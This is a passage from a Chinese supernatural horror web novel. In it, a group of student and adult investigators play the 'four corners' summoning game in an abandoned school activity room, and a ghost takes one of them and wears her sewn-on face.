“我认为，她之前被看到，也是她刻意为之，她故意被其他的学生看到的，从而引起恐怖传言在校内流传，舞蹈室也被迫封起来，这样，就可以给自己一个相对稳定的存在空间。”
“但是……她为什么要这么做呢？”
“我不知道，这一切估计和她的身份有关，如果能查到她的身份信息就好了……对了，沈聆，404的那四个女孩子，有舞蹈生吗？”
沈聆皱着眉头认真回想了一遍：“并没有，她们和我一样，都是普通的学生而已，但是我们学校除了舞蹈生能来这里跳舞，普通的学生也可以在下课时间过来，并没有做特殊规定，所以我不太清楚她们四个人里面有没有人学过舞蹈……道长，你是怀疑……刚才我们看到的鬼，可能是404那四个女孩子中的一个？”
“嗯，但我们没有确切的证据。毕竟厉鬼都是带着冤屈死去的人，
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目前我们掌握到的信息，也只有那三个女孩子是非正常死亡，而还有一个女孩子下落不明……如果不是她们四个中的一个……那么这个学校恐怕死的人还不止一个。”
吴妄说完这句话，所有人都不由得感到一阵寒意。
沈聆更是感觉到前所未有的冰冷。
这个学校她已经就读了快三年，如果这学校从一开始就是这么诡异的地方，那岂不是她这三年几乎都在坟地、在闹鬼的地方上学？而且自己擦肩而过的同学中，很可能有的并不是人？
……
这么想着，沈聆感觉到一阵冰冷刺骨的寒意窜上了自己的脊背，她深吸了几口气，摇了摇头。
“这些事情暂时还没有办法定性，如果这个舞蹈室已经没有异常的话，我们接着去调查其他的事情吧。”
“有道理。”
吴妄说着，走近了三人，他拉着林凌的手，帮他从地上拉了起来，三人清理了好一阵子才清理干净林凌身上的玻璃碎屑，还好沈聆有先见之明，她黑色的背包里除了唤魂用的东西之外，还带了一些伤药和消毒酒精棉，简单处理了一下林凌的伤口之后，众人朝着舞蹈室外走去。
“这个地方没有那么简单，而且那个东西能逃走，说明她的本体并不在这里，那个东西长存于此，必定是有什么不为人知的原因……不过，若是要彻底消除掉它，还是得找到本体。”
“我感觉，校方给我们的信息太少了……至少，他们有刻意隐瞒什么，才会导致我们现在遇到的情况和掌握到的信息不太对等。”沈聆分析，“我估计，404寝室还有更多不为人知的矛盾，可能舍管阿姨、班主任甚至是校领导都知道，但是不愿意对外公开，也没有告诉我们，还需要我们从‘鬼’的嘴里套话……”
在众人走到门口的时候，发现保安老陈不见了。
“大叔？保安大叔？”
众人在周围找了一圈，才在楼梯间里找到了躲在那边抽烟的老陈。
看见众人找过来，他疑惑地抬起头看着大家，眼神中带着迷茫：“怎么？你们调查好那个教室了？”
宋明夷抗议：“大叔，你怎么自己躲在这里抽烟啊，如果我们刚才出事了怎么办，你都没办法及时帮我们报警或者叫救护车之类的……”
“啥？报警？可不能报警，现在是夜间，报警的话会惊动宿舍楼的那些娃娃们，可不能报警。”
吴妄打断道：“行了行了，我们走吧，这间教室已经没有什么值得调查的东西了，就是……一面镜子碎了，估计得找领导报备了。”
“啥？你们几个娃娃咋还把镜子打碎了？你们知道这镜子多少钱吗？你们要赔？”
“我们当然不赔，又不是我们弄破的，可以去调监控，那个镜子是自己裂开碎掉的，可能是……年代久远之类的吧，用这个原因应该可以报销。”沈聆搪塞着，一行人就朝着另一边的楼梯而去。
众人原以为保安老陈说的是其他在宿舍楼就寝的同学们。
但没想到后来才发现，他口中耳朵“宿舍楼的那些娃娃们”，指的是404女生……
131. 四人游戏1
沈聆一行人绕过了舞蹈室，在离开舞蹈室的时候，保安老陈抱怨着重新把舞蹈室给锁起来了，看着满地的玻璃渣，看着其他几个人的眼神便更加怨念了几分。
这也难怪。
今天是他夜班，在夜班的时候出了这些事情，他是要被叫去领导面前问话的。
“我们去一号楼另一侧的楼梯吧，沿着楼梯上去，走过架空层，可以到二号楼，二号楼有一个很大的活动室，能够让我们玩四人游戏。”沈聆走在最前面，众人已经来到了另一侧的楼梯间。
“啥？死人游戏？娃娃们你们要玩什么游戏？”老陈有点儿耳背，别人说的话到他的耳朵里似乎都要绕几个圈子。
“是四人游戏，四个人做的一种游戏。”宋明夷伸出手，比了个字，“简单地说呢，就是四个人在教室的四个角落里站着，然后依次跑到下一个人的位置，拍一下下一个人的肩膀。”
“这有啥意思？”
宋明夷压低了声音，神秘兮兮地说：“是没什么意思，但是之前有人也在你们学校的活动室里玩这个游戏，发现玩着玩着，多出了一个人……”
“为啥会多出来一个人？”老陈不解。
“您想啊，如果一直都是四个人，那么第四个人跑到下一个角落的时候，应该是拍不到任何人的，但是这游戏，诡异就诡异在玩着玩着你会发现，所有人的下一个角落都有一个人在等着他……也就是说，这个四人游戏玩着玩着就会变成一个五人游戏，而多出来的那个人……大叔，你觉得是谁呢？”
宋明夷充分发挥了自己灵异女主播的讲故事技能，她压低的声音、拉长的尾音以及神秘兮兮的语气，绘声绘色地给恐怖故事增添了几分色彩。
他们本就在夜色中前行，宋明夷说的这个恐怖故事似乎更让周围的气温降低了几分。
老陈倒是不信邪，他斜着眼睛瞅着宋明夷，像是看一个稀奇古怪的孩子：“你们现在这些孩子可真会玩，放着好好的日子不过，非要来玩什么恐怖游戏，找不自在，要我说，有鬼也好，没鬼也罢，那都不管自己的事情，不要知道太多对谁都好。”
“那可不行。”宋明夷一口回绝，“我们可是要调查灵异事件的行动小分队，有灵异事件的地方就一定有冤屈的死者，如果能帮死者伸冤，那我们可是大功德！”
“大功德？算了吧，就你们？人家唐僧上西天取经那才是大功德，你们这些娃娃，好好读书，好好工作，过好自己的人生就好了，不要老想着这些乱七八糟的事情。”
“怎么能说是乱七八糟的呢，都是学校论坛上真实发生过的事情。”
“那些什么论坛的，你们也相信？那全都是娃娃们瞎编的罢了，要我说，现在就差不多该走了。”
就在众人说话的时候，已经来到了楼梯前。
沈聆先上去走了一遍，发现楼梯是12级台阶的，随后，每个人都验证了一下，并没有出现所谓的13级台阶。
“什么嘛，楼梯的事情是假的诶，我还以为又有什么新奇的事情发生了，看来这个事情也不过如此。”宋明夷感觉到楼梯灵异事件的无趣，本来嘛，这也是所有鬼故事里最容易被验证的一个。
“学校的楼梯很多，我们看到的帖子并没有说明出现13级台阶的是哪一段楼梯，说不定不是每一个楼梯都会出现13级，只不过是我们不知道而已。”相对宋明夷，沈聆似乎更沉得住气一点。
这段时间来，她遇到的灵异事件太多了。
没有发生在自己眼前，并不代表这件事情不存在。
她早就留了个心眼。
因为那些灵异事件，也像是长了感知一样，有的也会躲着人，当你想要可以验证查询的时候，反倒容易查无头绪。
且说楼梯并没有异常后，众人从一号楼和二号楼的架空层往二号楼而去。
二号楼一楼有一个空旷的活动室，之前当过放物品的杂物室，当过校医的医疗室，现在闲置在那里，用来放一些体育用品，而这个房间的门锁已经坏了，后勤迟迟没有叫人修门锁，才有了后来有同学偷偷溜进去，玩四人游戏的事情。
老陈在前面用手电筒照着路，一行人就从楼梯来到了二号楼的一楼。
与一号楼大不相同的是，一号楼犹如一根笔直的长枪，是纵向延伸的“一字型”建筑；然而，二号楼却像是一座精巧的城堡，由四座小楼紧密环绕而成，形成了独特的“回字形”结构。这座回字形的建筑宛如一道坚固的城墙，将四周严严实实地封闭起来。当人们抬头仰望时，只能望见头顶上方一块四四方方的天空，就如同置身于北京古老的胡同院子之中一般。
回字形的中央是一个宽敞的中庭，地面上铺着整齐的砖石。
只是，沈聆发现，岁月的侵蚀使得砖石之间的缝隙逐渐被杂草占据，这些杂草肆意生长，在风中摇曳生姿。每当有微风拂过时，便会传来一阵轻微的“沙沙”声，那声音仿佛是有人正轻手轻脚地靠近，刻意压低了自己的脚步声。
夜幕如一张巨大的黑色幕布，缓缓笼罩住了整个教学楼。
此刻，时间已悄然滑至午夜十二点半，校园内万籁俱寂，连一丝虫鸣鸟叫之声都难以听闻。
那深沉的夜色仿佛具有一种神秘的力量，竟让原本明亮的路灯也显得暗淡无光。
眼前这栋死气沉沉的教学楼，宛如一位沉默不语的巨人，静静地伫立在夜色之中，它默默地注视着沈聆一行人，不放过他们任何细微的举动，仿佛在暗中窥探着什么秘密。
他们来到了一楼的活动室，活动室是一扇可以左右拉开的横向拉门，拉门是铁质的，上面已经锈迹斑斑，从活动室旁边的窗户可以看入活动室里面，此刻，里面黑灯瞎火的，另一侧又没有窗户，因此看不见什么东西，只有保安老陈的手电筒偶尔照到活动室里面，才依稀可以看到一些运动器材放在里面。
“刷——”
老陈拉开了活动室的拉门，一拉
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开，便是一股熟悉的发霉的味道。
这间活动室和舞蹈室一样，因为发生过灵异事件，很久没有人来了，加上活动室只有靠近走廊的一侧有窗户，且窗户都关着，另一侧并没有窗户，因此空气的流通性相对比舞蹈室会更差一点。
“咳咳……阿嚏……”
鼻子比较敏感的宋明夷直接就打了几个喷嚏。
沈聆尝试着打开活动室的电灯，发现活动室的灯似乎也坏了，无论怎么按开关，都没什么反应。
借着老陈手中的灯，吴妄环顾了一圈活动室，发现这个活动室和舞蹈室差不多，都是两个教室拼起来的空间，前后都有两排柜子，中间放着一些篮球、人体模型、运动拉练的器材、瑜伽垫等等，上面密布着灰尘，看得出来是很长一段时间没有人用过了。
他闭上眼睛感应了一下，感觉到周围并没有什么奇怪的东西，至少，此刻他身边的磁场都是正常的。
“……这灯和门都不找人修一下吗？”沈聆皱眉。
老陈见状解释道：“修这个不用出钱啊，你们这些小娃娃们就是不当家不知道柴米油盐贵，现在经济困难，学校是公立学校，钱可不多，这个活动室现在闲置着也没有用，放着也是放着，上面的领导就不那么着急着修理了。”
他这么一说，似乎也有点儿道理。
毕竟只是一个没有使用的杂物间，在事情的紧迫度上，就没有那么紧急。
“没关系，小聆聆，反正我们玩四人游戏也是不开灯的。”宋明夷环顾了一圈后，看向了林凌，“就是……不知道林大哥现在能不能和我们一起玩。”
“没问题的，这些不过是皮外伤罢了。”林凌拍了拍胸脯，“再说了，我们现在过来，不就是为了验证那个恐怖故事吗，来都来了。”
“那你们慢慢玩，我去外面等你们。”老陈说着，往外面走去。
他又抽完了一根烟，将烟头丢在地上，一脚踩灭后，又从口袋里掏了一支烟出来。
“大叔，你少抽点烟啦，对身体不好。”宋明夷在他身后挥了挥手，“好多人都是因为吸烟得了肺癌。”
“好了好了，我这个年纪也已经戒不掉了，生死有命，富贵在天了，管那么多做什么，先快乐了现在再说。”
老陈说着，已经走到了走廊上。
纵使今晚发生了一些诡异的事情，纵使这些事情在他面前发生，他似乎也能保持着事不关己的态度，在他看来，口袋里的香烟似乎才是最重要的。
他背对着窗户站着，对着天空就开始抽烟起来，沈聆他们只能看到老陈在窗户上的轮廓，以及从他面前升起的烟。
沈聆一行人将活动室的东西搬到墙角，大致清理出了一个相对规整的四方形区域后，四个人在四个角落站定。
顺序依次是沈聆-吴妄-林凌-宋明夷。
准备好一切后，沈聆深吸了一口气：“好了，我们先来试试看吧，所谓的‘四人游戏’。”
132. 四人游戏2
正如方才宋明夷解释的一样，四人游戏，是一种相对多人玩过的、有招魂属性的游戏。
四人游戏，也叫做四角游戏。
游戏需要四个人进行。
分别站在房间的四个角落。
由于游戏的性质比较特殊，因此这个游戏一般都选择在夜半时分进行。
参与游戏的四个人首先要选择一个正方形或者长方形的空白房间当做游戏场地，为了确保游戏能顺利进行，需要将所有灯光灭掉，在剥夺了视觉之后，人的各项感知都会被放到最大，同时，游戏的恐怖气氛也将进一步提高。
刚开始进行游戏的时候，四个人站在一个房间的四个角落，一号，二号，三号，四号都必须面朝墙角，不得朝后看，注意，无论发生任何事情，都不能朝后看！
——无论拍自己肩膀的人，是不是人，都不得朝后看！
在游戏开始时，从按照顺时针顺序，第一个开始，一号，二号，三号，四号开始依次进行活动：
一号出发跑到二号所在的墙角，拍一拍二号的肩膀。
在收到信号后，二号开始出发，跑往三号的墙角，并在抵达后拍一拍三号的肩膀。
此后三号出发，在抵达下一个四号所在的墙角时，三号将拍一拍四号的肩膀。
最后，四号出发，但由于房间里只有四个人，因此，当四号跑到下一个墙角（原先一号待过的墙角）时，因为一号已经在之前二号的位置，因此这个墙角不会有人，此时，需要四号咳嗽一声，之后跑过这个没有人的墙角，再接着跑到一号所在的位置，拍一号的肩膀，再由一号跑向二号所在的墙角……
如此循环几次之后就会发现，不会再有人咳嗽了。
在那个时候就说明，参与游戏的人，已经从四个人，变成了五个人。
这个房间的每个墙角都站着人，并且，还有一个在跑动，可以听到延续不断的脚步声。
在咳嗽声消失之后，就进入游戏的下一个阶段。
所有人在拍到下一个人的肩膀的时候，必须说出自己是谁，在四个人都说完自己的名字的时候，将会有第五个人说出一个陌生的名字，从而，可以得知意外多出来的那个人究竟是什么身份。
此时，如果想要结束游戏，确保自身安全的话，所有人都必须闭上眼睛，异口同声说出“游戏结束”四个字，如此，便可跳出这个诡异的循环，否则游戏将继续下去，不得停顿。
这个游戏要关灯、不能回头等等的原因也是为了保护游戏的参与者，毕竟如果真的出现灵异事件的话，多出来的那个一定不是“人”，在最大程度隐藏对方的信息，能确保参与游戏的人至少能活下来。
而这个活动室里，曾经有学生玩过这个游戏，并也有不应该存在的第五个人出现。
听说那四个孩子当场就吓傻了，回去后，四个人都发烧了，甚至胡乱说着什么奇怪的话，其中一个孩子的家长还特地去找了神婆进行驱邪，身体情况才逐渐好起来。
从此，这个恐怖故事也因为有同学亲身经历，而被评上了陵川一中三大灵异故事之一。
而沈聆他们今天晚上要进行的，就是这个游戏。
没错。
同样在这间活动室。
同样在午夜。
同样也是四个人。
他们四个站在了活动室的四个角落，所有人都面朝着墙角，背对着其他人，顺序依次是：沈聆、吴妄、林凌、宋明夷。
“喂，宋明夷，要不要我和你换个位置？我怕你吓尿了。”吴妄好心提醒，转头看向了宋明夷所在的位置，他和宋明夷是对角，刚转过头就看到宋明夷像个小乌龟一样缩着脑袋。
“不、不用，我可是灵异主播，我是专业的！我心理素质可没有你想象中那么弱！”
宋明夷摇了摇头，一口回绝，坚持自己要站在四号位。
按道理来说，最后一个和第一个是最可能撞鬼的，毕竟多出来的五号是介于一号和四号之间——沈聆是一心要弄清楚自己学校的恐怖故事，因此并不在乎自己是一号位，而宋明夷，胆小的宋明夷，之所以愿意当四号位，完全是因为她现在正打开着手机的摄像头在偷拍，她希望自己能拍到一些剪辑视频的一手素材！
哪怕现在校方再三强调不能拍摄，但她认为只要在后续剪辑视频的时候隐去是哪个学校就可以了。
再说了，四角游戏全世界到处都有人玩，又怎么能说她的视频就是在这个学校拍摄的呢？此地无银三百两的事情，校方可不会做，她也笃定校方不会跳出来跟她说不能放自己学校的视频，因此更加肆无忌惮地拍摄。
她的手机经过特殊的改装，夜间拍摄的功能比一般的手机更强，甚至还有瞬间十连拍的功能，专门用于捕捉某些特殊的画面和一闪而过的影子。
可以说，现在的宋明夷，在拍摄灵异题材的道路上可是越走越远、越走越专业了。
“明夷，真的不需要换一下吗？你是女孩子，我担心你……”
“哎呀，小聆聆你怎么也这么啰嗦，我都说了不用啦，我没问题的！”
“真的不用换一下吗？或者我跟你换一下，我当四号位也可以。”林凌也不由得担心。
毕竟，在这四个人里面，宋明夷是最弱的，遇到危险，几乎没有什么自保能力，沈聆身体里有灵元草护体，吴妄是青城山的弟子，林凌是警察，只有宋明夷，什么BUFF都没有，让她当四号位，确实有点儿欠妥。
但宋明夷还是一力坚持自己没问题，就是不想换位置，如果换位置的话，视角就没有那么直观了，拍到的视频也是天差地别，当然，最深层的原因她是不能说出来的。
“没事的，你们就不要婆婆妈妈了，我可不弱，我看过的灵异视频、灵异故事比你们都多，而且我们今晚也不见得会出现第五个人啊，和刚才的楼梯一样，我感觉我们这次也不见得会有什么收获，你们就不要大惊小怪啦，真是的，就算没有鬼出现也先被你们吓死了。”
见宋明夷固执己见，其他三人也只能作罢。
不过还好，现在只是在一个活动室里面，空间也并不是很大，一旦出现了什么意外，其他三个人都还来得及接应。
甚至于，这也只是概率发生的事情罢了。
这么想着，沈聆只能稍稍安下心来，她最后强调了一遍这个游戏的注意事项：
“那行吧……那我们
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就开始游戏吧，跟我们之前说好的一样，我先跑，等我跑到了道长身边，拍一下道长，然后大家依次进行下去……明夷，你记得一旦到一个没人的角落，要咳嗽一声，作为标记……”
“在这个过程中，大家不要说话，不要嬉笑，也不要回头，在对方拍到你的时候，就直接跑向下一个人。”
“一旦咳嗽声消失了两轮左右，那就说明出现第五个人了，大家不要慌张，我们要套出对方的身份信息，进入游戏的第二阶段，大家拍肩的同时爆出自己的身份，看看参与这个游戏的第五个人到底是谁。”
“还有，在第五个人说出自己的名字的时候，我们就可以结束这个游戏了，这个游戏是个循环游戏，到时候我会咳嗽一声，我们一起说‘游戏结束’，然后一起打开手机的手电筒，照向我身后的第五个人。”
沈聆像一个事事操心的管家，总担心游戏环节出错，担忧万一游戏顺利进行，自己是不是就真的要撞鬼了。
“好。”
“没问题。”
“OK啦，早就都记住了。”
确认了一遍后，沈聆深吸了一口气。
“那么，我们的‘四人游戏’现在开始。”
她说着，跑过了走廊的窗户，跑向了第一个墙角。
在跑到墙角的时候，吴妄正低着头站在那里。
沈聆拍了拍吴妄的肩膀。
随后，和说好的那样，吴妄跑向了下一个角落的林凌。
沈聆站在原地，她站在这片黑暗中，背对着众人，默默听着跑动的脚步声，忽远忽近的脚步声在空旷的活动室里回荡，她听着那脚步声，大概猜测着现在跑动的是谁。
在跑完一轮的时候，沈聆听到了宋明夷相对急促的脚步声。
她似乎跑到了刚才沈聆站着的角落，并咳嗽了一声。
“咳咳。”
宋明夷咳嗽了一声，这是第一轮结束的信号。
沈聆松了口气。
接着，她听见了向着自己跑来的脚步声，随后，一个人跑到了自己身边，并拍了拍自己的肩膀，沈聆没有回头，在对方拍到自己肩膀后，迈步跑向了下一个墙角。
就这样，游戏进行了好几轮。
在黑暗中，黑暗剥夺了众人的视力，因为游戏要求不允许回头，因此大家都不知道房间里其他人的情况，只能通过“哒哒哒”的脚步声大致判断现在在跑动的究竟是谁。
不知道这个游戏究竟过了几轮。
沈聆每个角落都站过了许多遍，四个人在活动室转了好多圈。
看来今晚是平安夜。
过了好多轮，都没有出现异常。
每一轮都有咳嗽，每一轮大家都在按部就班地跑动。
时间过去了五分钟，十分钟，十五分钟……
不知道过了过久，沈聆低着头站在原地，就在她心中暗自揣测这个游戏是不是也要落空的时候，忽然，她感觉到有人拍了拍自己的肩膀。
“哒哒哒……”
她迈开腿、下意识地跑向了下一个人。
就在拍到二号肩膀的时候，她忽然想起一件事情……
上一轮，是不是没有咳嗽过？
133. 四人游戏3
咳嗽声消失了吗？
这个恐怖的问题浮上了沈聆的脑海。
她感觉到在自己拍到吴妄的肩膀的时候，对方似乎也是身体一震。
是的。
他也没有听到有人咳嗽的声音，就又轮到自己跑了。
也就是说，上一轮，就已经不是四个人在参与游戏了。
“……”
沈聆不由得握紧了拳头。
她是一号位。
她知道如果参与游戏的第五个人出现，那么就代表着刚才拍自己肩膀的，不是宋明夷，而是突然出现的第五个人。
是的。
她皱起眉头，闭着眼睛，努力回想了一下刚才拍在自己肩膀上的力度。
因为她穿着衣服，感觉不到对方的温度，但她认真想了想，确实感觉对方拍在自己肩膀上的力度很轻柔，就像是一个手无缚鸡之力的女孩子拍了拍自己的肩膀，并且对方在跑向自己的时候，脚步也很轻，与其说是快跑，更像是踮着脚在跑。
——开始多出第五个人了吗？
沈聆深吸了一口气，她并不打算现在就进行游戏的第二阶段，而是打算再观察看看现场进展。
“叮铃……”
就在这时，她后上红绳子的银铃响了一声。
这声音让她心头一冷，她知道这个声音的出现代表着什么。
她握紧了拳头，手掌心已经满是冷汗。
游戏要求他们闭着眼睛，无形中放大了参与者心中的恐惧。
因为视觉被剥夺，人的大脑就会下意识地补充那些自己看不到的画面。
在自己背后参与游戏的那第五个人到底是谁？她长什么样子？是尖嘴獠牙，还是满头血污？她并没有嗅到什么腐烂的味道亦或者是血腥味，那么是不是说明对方的情况相对还算好？她究竟是谁？为何会出现在此地？她只是单纯要和他们一起做游戏吗？还是说有另外的冤屈？这个鬼魂和刚才出现在舞蹈室的是同一个鬼魂吗……
一时间，许多困惑浮上心头，但所有疑惑现在都得不到解答，反而让她在本能的恐惧中多了几分不安和烦乱。
游戏依旧在进行。
“哒哒哒……”
脚步声回荡在空旷的活动室里。
这个活动室是一个相对封闭的区域，这个房间结构无形中增加了声音回响的可能性和音量。
所有人的脚步声都被放大了，他们四个人都清晰地听到了有人在房间里跑动，但一轮，又一轮过去后，再也没有听见咳嗽声，那脚步声并没有停下，也就是说，所有人都按照游戏规则被拍肩膀后跑向下一个人，始终有人在跑动，四个墙角始终都有人……
在完成一轮游戏后，沈聆感觉到有人拍了一下自己的肩膀，她开口推进了游戏的进程：“现在我们进行游戏的第二个阶段，所有人在拍到下一个人的肩膀的时候，要说出自己的名字，游戏不停顿，继续按照原有的规则进行。”
活动室很安静，沈聆的声音在黑暗中清晰可闻。
所有人都是闭着眼睛的，视觉被剥夺后，他们的听觉被放大了。
沈聆的这句话，也在暗示着大家：鬼出现了。
说完，沈聆便跑向了下一个人，在拍到对方肩膀的时候，沈聆轻声说了一句：“我是沈聆。”
对方似乎点了点头，他身上带着她熟悉的檀香味，她知道他是道长。
在听到了沈聆的话后，他也跑向了下一个人。
沈聆听着那时而停顿的脚步声，心里依次数着跑着的人是：吴妄……林凌……宋明夷……
最后，在第四个人跑完的时候，果不其然，一阵脚步声朝着自己跑来。
对方似乎带着几分寒气朝着沈聆靠近，在她触碰到自己肩膀的时候，一个沙哑的声音在耳畔响起——
【我是……马伯良】
当那熟悉而又令人胆寒的名字传入沈聆耳中的一刹那，她只觉得浑身的汗毛都根根竖立起来，仿佛有无数根冰针同时刺入身体一般，寒冷从心底迅速蔓延至全身。
刹那间，她整个人如同被一种无形且强大的冰霜力量给定住了，双脚犹如铅块般沉重，无法挪动分毫。
这个名字——马伯良，对于沈聆来说并不陌生。
他是退休的马校长的孙子，也是因为他被鬼魂缠身，马校长才求助到了沈聆的外婆，希望他们能调查一下陵川一中的灵异事件。
也就是说，马伯良应该还活着，虽然现在的情况未知，至少，在马校长委托他们调查的时候，马伯良应该是活着的，否则不会大费周章麻烦他们。
可令沈聆感到无比诧异和惊恐的是，此刻说出这个名字的，竟然是一个女孩子清脆悦耳的声音。
这怎么可能？
这声音甜美软萌，一听就是一米六不到的甜美软妹才有的声线，这个女孩子的声音绝对不可能会是马伯良本人！
这些想法瞬间涌入脑海中，此时此刻，一股强烈到几乎让人窒息的恐惧感如潮水般汹涌而来，将沈聆从头到脚彻底地淹没其中。
沈聆连呼吸也变得小心翼翼，不敢大口喘气，似乎每一次轻微的吐息都会引发什么可怕的后果似的。
她不敢犹豫，跑向了吴妄。
“她说她叫马伯良！”
沈聆说着，从口袋里拿出了手机，这句话像是一个暗号一样，所有人在知道了第五个人的身份之后，都从口袋里拿出了手机，打开了手机的赵明，并一同照向了那个第五个人存在的角落。
“游戏结束。”
在所有人异口同声地说出这句话的时候，手机的灯光照亮了那个角落。
在手机的灯光中，所有人依稀看到一个人影站在那里，她背对着大家，编着两个马尾辫，身高不过一米六的样子，瘦弱的女孩子背影都显得格外瘦削可怜。
在灯光照到她的那一刻，沈聆发现她并没有影子！
“她是鬼！”
就在沈聆刚刚把话说完之际，那个女孩子的肩膀突然微微抖动起来，一下又一下地耸动着，那模样活脱脱像个正在拼命憋着笑意的人。
只见她的脑袋缓缓低垂下去，幅度越来越大，整个人都显得有些畏缩。
此刻的她，身体紧紧蜷缩成一团，宛如一只蝉蛹努力将自己的身躯卷缩起来一般。
在手机灯光映照之下，她的身影竟隐隐约约透出些许透明之感，仿佛随时都会消失不见似的。然而，真正让人
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毛骨悚然的还不止如此——那个一直背对着众人的女孩子，竟然没有双脚！她就这样静静地站在那里，如同幽灵一般。
紧接着，一阵诡异而刺耳的笑声从她口中传出：“桀桀桀桀……”
那声音仿若一把生锈的锯子正艰难地拉扯着一块朽木，粗糙得让人头皮发麻、浑身发颤。
尽管她此时已然暴露在了众人面前，可奇怪的是，这个女孩笑声里没有流露出一丝一毫的惊恐，相反，她看上去镇定自若，仿佛眼前发生的这一切早就在她的预料当中。
沈聆环视了一圈，突然发现，房间里除了那只女鬼之外，只有她、吴妄和林凌三个人。
宋明夷不见了？！
“道长、林警官！明夷不见了！”
在原本四号应该站着的地方，现在却没有了宋明夷的身影，只有一滩血水在那边，血水上，还掉着一把手机，那似乎是宋明夷的手机。
“桀桀……原来她叫宋明夷啊……”
女鬼又笑了起来，她的声音更大了几分。
“不得不说……她的脸，还挺好看的呢……”
就在这时，女鬼缓缓地转过头来，目光直直地投向那三人。
刹那间，一股寒意从他们脊梁骨上涌起。
众人定睛一看，顿时倒吸一口凉气——只见女鬼原本的那张面庞之上，竟然硬生生地缝合着另外一张脸！
仔细瞧去，这第二张脸明显小于女鬼自身的脸庞。
而女鬼则用双手紧紧地拉扯着第二张脸的皮肤，仿佛想要将其完全展开并平铺于自己的面容之上，只见一道道血红色的线条如蚯蚓一样从她本来的脸上钻出后缝住了第二张脸，这些血红色的线条纵横交错，犹如狰狞的蛛网一般，将第二张脸那已经被剥离下来的肌肤牢牢地缝在了女鬼原有的脸上。
此时此刻，女鬼的整张脸都变得血肉模糊不堪入目，暗红色的鲜血不断地从伤口处涌出，顺着她修长的脖颈缓缓流淌而下，形成了一道触目惊心的血痕。
由于两张脸的尺寸差异过大，那强行缝上去的第二张脸看上去就如同一个极不合适的面具，松垮地挂在女鬼的脸上。
然而，最令人毛骨悚然的还是她那双血红色的眼睛，正透过第二张脸的眼眶，冷冷地注视着面前的三人，仿佛能够穿透他们的灵魂。
“那是……那是明夷的脸……”
看到此情此景，沈聆吓得腿脚发软，她直接跌坐在地上，脑袋空了一大片。
“恶鬼，还不纳命来！”
吴妄说着，手中打出一道金光，但女鬼却在金光接触到自己的前一秒笑着消失了，金光打在了她原本站着的地方，在墙上留下了一道鞭痕。
【你们不喜欢和我玩吗？为什么呢？我们不是玩得很开心吗？】
女鬼的身影消失后，她的声音却并没有消失，她的声音从四面八方传来，像是这个活动室在说话，又像是有人在他们耳畔窃窃私语。
这声音听着很远，但又很近。
伴随着尖锐的耳鸣，让人头晕脑胀，沈聆和林凌不由得捂住了耳朵。
吴妄沉下声音：“这是传音入秘之术……看来，舞蹈室和活动室，都是同一只恶鬼在作祟。”
134. 四人游戏4
在女鬼消失后，活动室再一次陷入了死一样的平静中。
在外面抽烟的保安老陈听到了这里的动静，忙跑了进来，一进来就看到三人如霜打了的茄子一样难看的脸色。
“娃娃们，你们怎么了？我好像听到你们大喊什么……”
沈聆表情凝重地看着宋明夷原先站着的地方，在那个地方，现在只剩下一滩血水。
宋明夷消失了。
而下一刻，宋明夷的脸出现在了女鬼的脸上，像是被活生生剥下来的人皮面具一样，被女鬼占为己有，甚至变成了她的“面具”。
宋明夷是否已经遭遇不测？
她到底是什么时候出事的？
明明在游戏的全程，都有听到脚步声，按照游戏规则，哪怕是第五个人出现后，应该所有人也还在场才对，至少，轮到宋明夷跑步的时候，她应该也还在活动室里才对，否则无法解释她的脚步声……
但是为什么，她现在消失了。
像是被某种可怕的生物吞噬了一样。
在看着地上的那滩血水的时候，沈聆的脸色更难看了。
她的心仿佛变成了一块沉甸甸的吸水海绵，缓缓地向着那无尽黑暗、深不见底的海洋深处沉没下去，那种感觉就好像有一只无形的大手，无情地将她那颗原本轻盈欢快的心拽入了冰冷刺骨的深渊之中。
与此同时，一股难以名状的难受滋味如同汹涌澎湃的潮水一般，凶猛地冲击着她的胸膛，这股难受劲儿让她觉得呼吸都变得异常艰难，每一次吸气和呼气都像是在经历一场酷刑。
林凌注意到了沈聆的难受，忙蹲下身子，拍了拍她的肩膀：“没事的，宋明夷她吉人自有天相，目前我们只是看到了……这并不代表什么，而且这摊血不见得就是她的……”
你有过那样的感觉吗？
没有人安慰的时候，明明还可以忍住。
一旦有人安慰的时候，泪水就像是决堤一般根本忍不住一点！
此刻，沈聆就是这样。
泪水在她的眼眶里打转，她拼命想要忍住不让它们掉落下来，然而，当那个“想哭”的念头刚刚闪过脑海时，那些温热的泪珠便如决堤的洪水一般，瞬间奔涌而出。
“是我害了她……”
沈聆带着懊悔说出这几个字。
那简简单单的几个字，却犹如千斤重担一般压得她喘不过气来。
“是我要做这个游戏的……是我的把她带到陵川一中来的……是我让她参与了这次的事情……刚才也是我没有及时停止游戏，如果停止游戏的话，明夷可能就不会被死了……全都怪我……我害死了她……”
沈聆双手掩面，放声痛哭起来，哭声撕心裂肺，回荡在空旷寂静的四周。
地上的那滩血水，仿佛是宋明夷留在这个世界上最后的凭证。
她消失得无影无踪，现在只有那把手机和那滩血水能证明她曾经存在过这里。
保安老陈更加一头雾水：“诶？诶诶？怎么这个娃娃就哭了呀，你们在说什么，我怎么没听明白呢？”
吴妄也眉头深锁，没有说话。
他的脸色十分阴沉，宛如狂风暴雨前密布在天空的乌云。
握紧了拳头，他听着沈聆的哭声，内心也是一通自责。
他是这四个人里面能力最强的人，如果自己能早一点察觉异常的话，是不是就不会有同伴出事？在出事之后，不但没能斩妖除魔，还让恶鬼跑掉了，自己作为青城山门派的徒弟，发生这样的错误，实在是不可饶恕。
相对其他人，身为警察的林凌倒是感觉要第一时间开始检查现场。
是的。
他是个警察。
虽然他也知道如果作案的是鬼怪，凭借警察的手段和方法是根本无法将真凶绳之以法的。
但是他是个警察，他学过现场调查、刑侦鉴别，对于现场的分析能力，自然比其他人要强。
他处理了很多凶杀案，知道在出事的时候，责怪自己、责怪别人都无济于事，只有抓紧分析现场，才能把握黄金救援时间，在人员失踪的前24小时，是最宝贵的调查时间，在这24小时内找到线索、循着线索找到受害者，说不定可以救下受害者。
这么想着，林凌来到了那滩血水前。
他先从伸手试探了一下那滩血水，发现血水是温热的，也就是说，几分钟之前才留下的血水。
现在暂时没办法进行DNA鉴定，无法百分之百判断这滩血水不是宋明夷的，但是现场除了女鬼之外，就是这三个人，他们并没有增加新伤，所以，就目前为止的线索，只能说血水是宋明夷的可能性较大。
——但就算血是宋明夷的，也不能说明宋明夷就死了。
林凌沉思着。
